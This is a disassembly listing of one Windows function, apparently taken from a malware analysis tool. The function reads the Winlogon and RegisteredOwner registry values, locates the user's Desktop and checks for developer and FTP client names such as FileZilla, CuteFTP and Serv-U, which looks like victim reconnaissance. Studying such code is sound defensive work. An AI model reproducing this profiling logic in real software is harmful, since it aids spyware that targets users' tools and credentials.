Function at 0x402730
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x427d17
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov eax, dword [0x4346e4]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 1
call fcn.0041e6f7
lea ecx, [esp + 8]
mov byte [esp + 0x38], 2
push ecx
call fcn.00401890
push str.homedrive
mov byte [esp + 0x40], 3
call fcn.0040efdd
add esp, 8
lea ecx, [esp]
push eax
call fcn.0041efc1
mov edx, dword [esp + 8]
push str.VISTA
push edx
call fcn.0040ef2e
add esp, 8
test eax, eax
je 0x402876
mov eax, dword [esp + 8]
push str.Win7
push eax
call fcn.0040ef2e
add esp, 8
test eax, eax
je 0x402876
mov ecx, dword [0x4346e4]
mov dword [esp + 4], ecx
lea edx, [esp + 0xc]
mov byte [esp + 0x38], 6
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40283e
lea eax, [esp + 0x14]
lea ecx, [esp + 4]
push eax
push 0x104
mov dword [esp + 0x1c], 0x104
call fcn.0041f383
mov ecx, dword [esp + 0x10]
push eax
push 0
push 0
push str.AltDefaultUserName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call fcn.0041f3d2
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Documents_and_Settings_
lea ecx, [esp + 4]
call fcn.0041f32f
lea eax, [esp + 4]
lea ecx, [esp]
push eax
call fcn.0041f36b
push 0x432748
lea ecx, [esp + 4]
call fcn.0041f32f
mov byte [esp + 0x38], 4
lea ecx, [esp + 4]
jmp 0x40291e
mov ecx, dword [0x4346e4]
mov dword [esp + 4], ecx
lea edx, [esp + 0xc]
mov byte [esp + 0x38], 5
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4028eb
lea eax, [esp + 0x14]
lea ecx, [esp + 4]
push eax
push 0x104
mov dword [esp + 0x1c], 0x104
call fcn.0041f383
mov ecx, dword [esp + 0x10]
push eax
push 0
push 0
push str.RegisteredOwner
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
call fcn.0041f3d2
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Users_
lea ecx, [esp + 4]
call fcn.0041f32f
lea eax, [esp + 4]
lea ecx, [esp]
push eax
call fcn.0041f36b
push str.Desktop
lea ecx, [esp + 4]
call fcn.0041f32f
mov byte [esp + 0x38], 4
lea ecx, [esp + 4]
call fcn.0041ef53
mov ecx, dword [esp + 0x24]
push esi
push str.microsoft_visual_studio
push ecx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov edx, dword [esp + 0x28]
push str.pangolin
push edx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov eax, dword [esp + 0x28]
push str.phpmyadmin
push eax
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov ecx, dword [esp + 0x28]
push str.visual_basic
push ecx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov edx, dword [esp + 0x28]
push str.ultraedit
push edx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov eax, dword [esp + 0x28]
push str.delphi
push eax
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov ecx, dword [esp + 0x28]
push str.winhex
push ecx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov edx, dword [esp + 0x28]
push str.uestudio
push edx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov eax, dword [esp + 0x28]
push str.emeditor
push eax
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov ecx, dword [esp + 0x28]
push str.filezilla
push ecx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov edx, dword [esp + 0x28]
push str.flashfxp
push edx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov eax, dword [esp + 0x28]
push str.freshftp
push eax
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov ecx, dword [esp + 0x28]
push str.serv_u
push ecx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov edx, dword [esp + 0x28]
push str.cuteftp
push edx
lea ecx, [esp + 0x28]
call fcn.0041e8d3
mov esi, dword [esp + 0x44]
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.0041ecc8
mov dword [esp + 0x1c], 1
mov byte [esp + 0x3c], 3
lea ecx, [esp + 4]
call fcn.0041ef53
lea ecx, [esp + 0xc]
mov byte [esp + 0x3c], 2
call fcn.0041ef53
lea ecx, [esp + 0x20]
mov byte [esp + 0x3c], 1
call fcn.0041e72a
lea ecx, [esp + 0x14]
mov byte [esp + 0x3c], 0
call fcn.0041ef53
mov ecx, dword [esp + 0x34]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x3c
ret